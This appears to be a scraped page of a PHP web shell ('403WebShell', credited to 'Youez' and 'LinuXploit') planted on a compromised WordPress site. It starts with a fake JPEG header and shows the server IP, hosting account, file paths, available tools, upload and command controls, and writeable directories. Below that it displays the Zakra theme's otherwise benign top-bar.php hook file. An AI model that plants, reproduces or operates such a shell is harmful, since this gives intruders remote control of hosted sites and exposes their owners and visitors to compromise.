????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.112.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/eaabusiness.com/wp-content/themes/zakra/template-parts/hooks/header/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/eaabusiness.com/wp-content/themes/zakra/template-parts/hooks/header/top-bar.php
<?php
/**
 * Top bar hooks.
 *
 * @package zakra
 *
 * TODO: @since
 */

// Exit if accessed directly.
defined( 'ABSPATH' ) || exit;

/*========================================= Hooks > Header Top ==========================================*/

if ( ! function_exists( 'zakra_header_top' ) ) :

	/**
	 * Header top.
	 * TODO: @since
	 */
	function zakra_header_top() {

		if ( ( ! zakra_is_top_bar_enabled() || ( 'none' === get_theme_mod( 'zakra_top_bar_column_1_content_type', 'text_html' ) && 'none' === get_theme_mod( 'zakra_top_bar_column_2_content_type', 'text_html' ) ) ) ) {

			return;
		}

		get_template_part( 'template-parts/header/top-bar/top', 'bar' );
	}
endif;

add_action( 'zakra_action_header_top', 'zakra_header_top', 10 );


if ( ! function_exists( 'zakra_header_top_content' ) ) :

	/**
	 * Output content for top bar on different position.
	 *
	 * @since 3.0.0
	 */
	function zakra_header_top_content( $position ) {

		$content_type = get_theme_mod( "zakra_top_bar_column_{$position}_content_type", 'text_html' );
		$content_html = get_theme_mod( "zakra_top_bar_column_{$position}_html", '' );
		$content_menu = get_theme_mod( "zakra_top_bar_column_{$position}_menu", 'none' );
		$sidebar_id   = "top-bar-col-{$position}-sidebar";

		switch ( $content_type ) {

			case 'text_html':

				echo do_shortcode( wp_kses_post( $content_html ) );

				break;
			case 'menu':

				if ( 'none' === $content_menu ) {

					return;
				}

				wp_nav_menu(
					array(
						'theme_location' => "menu-header-top-$position",
						'menu'           => $content_menu,
						'menu_id'        => "header-top-{$position}-menu",
						'container'      => '',
						'depth'          => apply_filters( 'zakra_header_top_menu_depth', -1 ),
					)
				);

				break;
			case 'widget':

				if ( is_active_sidebar( $sidebar_id ) ) {

					dynamic_sidebar( $sidebar_id );
				}

				break;
		}
	}
endif;

add_action(
	'zakra_action_header_column_1_content',
	'zakra_header_top_content',
	10,
	1
);

add_action(
	'zakra_action_header_column_2_content',
	'zakra_header_top_content',
	10,
	1
);

Youez - 2016 - github.com/yon3zu
LinuXploit